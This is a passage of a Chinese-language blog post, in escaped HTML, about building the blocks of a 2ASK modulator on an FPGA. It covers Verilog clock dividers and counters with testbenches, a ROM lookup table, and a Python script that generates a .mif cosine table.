keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 折中计数到一半就行\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 8分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 16分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 256分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_fenpin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003efenpin fenpin_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout8 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout8\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout16 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout16\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout256 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout256\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E5%88%86%E9%A2%91%E4%BB%BF%E7%9C%9F.png\" /\u003e\u003ch3 id=\"2-载波产生模块\"\u003e\u003ca href=\"#2-载波产生模块\" class=\"headerlink\" title=\"2. 载波产生模块\"\u003e\u003c/a\u003e2. 载波产生模块\u003c/h3\u003e\u003cp\u003e载波产生模块示意图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%BD%BD%E6%B3%A2%E4%BA%A7%E7%94%9F%E6%A8%A1%E5%9D%97.png\" /\u003e\u003cblockquote\u003e\u003cp\u003e载波产生模块示意图如上图所示,其中clock为载波采样时钟,q[2:0]为计数器输出,q[7:0]输出为载波信号。载波产生模块由一个计数器和一个ROM构成,其中ROM中存储着一个载波周期的样点值,则计数器的进制设置为一个载波周期包含的样点数。本实验中一个载波周期取八个样点,计数器设置为八进制计数器,ROM和计数器均可使用IP核实现。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e结合示意图可以知道,载波产生模块又分为两部分:\u003cstrong\u003e八进制计数器\u003c/strong\u003e和\u003cstrong\u003eROM\u003c/strong\u003e。分开来写。\u003c/p\u003e\u003ch4 id=\"1)-八进制计数器\"\u003e\u003ca href=\"#1)-八进制计数器\" class=\"headerlink\" title=\"1) 八进制计数器\"\u003e\u003c/a\u003e1) 八进制计数器\u003c/h4\u003e\u003cp\u003eq 的值每个时钟加1,从0加到7。\u003c/p\u003e\u003cp\u003e\u003ccode\u003elpm_counter0.v\u003c/code\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e lpm_counter0 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_lpm_counter0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003elpm_counter0 lpm_counter0_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclk\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eq\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%AE%A1%E6%95%B0%E5%99%A8%E4%BB%BF%E7%9C%9F.png\" /\u003e\u003ch4 id=\"2)ROM\"\u003e\u003ca href=\"#2)ROM\" class=\"headerlink\" title=\"2)ROM\"\u003e\u003c/a\u003e2)ROM\u003c/h4\u003e\u003cp\u003e使用 \u003cstrong\u003eIP核\u003c/strong\u003e ,照着野火的教程学了学。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV17z411i7er/?p=46\"\u003e46-第二十六讲-ROM-IP核的调用(一)_哔哩哔哩_bilibili\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e经过大概分析,可以知道本实验使用 \u003cstrong\u003e单端口ROM\u003c/strong\u003e ,数据为 \u003cstrong\u003e8位宽\u003c/strong\u003e ,地址为 \u003cstrong\u003e3位宽\u003c/strong\u003e ,至少包含 \u003cstrong\u003e8个\u003c/strong\u003e 数据(采样了8个点),使用单时钟。\u003c/p\u003e\u003cp\u003e输出添加一个寄存器会延后两个周期输出。(原来延后一个,经过寄存器再延后一个。)\u003c/p\u003e\u003cp\u003e写操作是时钟的上升沿,读也是时钟的上升沿。\u003c/p\u003e\u003ch5 id=\"产生-mif-文件\"\u003e\u003ca href=\"#产生-mif-文件\" class=\"headerlink\" title=\"产生 mif 文件\"\u003e\u003c/a\u003e产生 mif 文件\u003c/h5\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_44939178/article/details/112314742\"\u003ematlab生成.mif文件 产生正弦信号数据_橘子FPGA的博客-CSDN博客_matlab生成正弦信号\u003c/a\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e本实验中一个载波周期取八个样点。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e本次使用 \u003ccode\u003epython\u003c/code\u003e 进行生成\u003cdel\u003e(就8个点手写也行\u003c/del\u003e。\u003c/p\u003e\u003cp\u003e根据 \u003ccode\u003e.mif\u003c/code\u003e 文件的格式一句一句打印出来。\u003c/p\u003e\u003cp\u003e一个普通余弦信号周期为 $2\\pi$ ,取样8个点,就是 $cos(2{\\pi}\\times\\frac{x}{8})$ ;\u003c/p\u003e\u003cp\u003e数据位宽为8位,所表示的数据在0~255之间,所以需要将 $cos(2{\\pi}\\times\\frac{x-1}{8})$ 的幅值**-1~+1变化到0~255**。\u003c/p\u003e\u003cp\u003e具体做法是将 $cos(2{\\pi}\\times\\frac{x}{8})\\times128+128$ 。就是将原幅值变换至-128~+128,然后加上128,范围变为0~256。 \u003c/p\u003e\u003cp\u003e\u003ccode\u003epython\u003c/code\u003e 代码:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e mathpi \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e math\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epifilename \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"sin_8x8.mif\"\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilename\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"w+\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eencoding\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"utf-8\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"WIDTH=8;\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"DEEPTH=8;\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"ADDRESS_RADIX=UNS;\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"DATA_RADIX=UNS;\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan 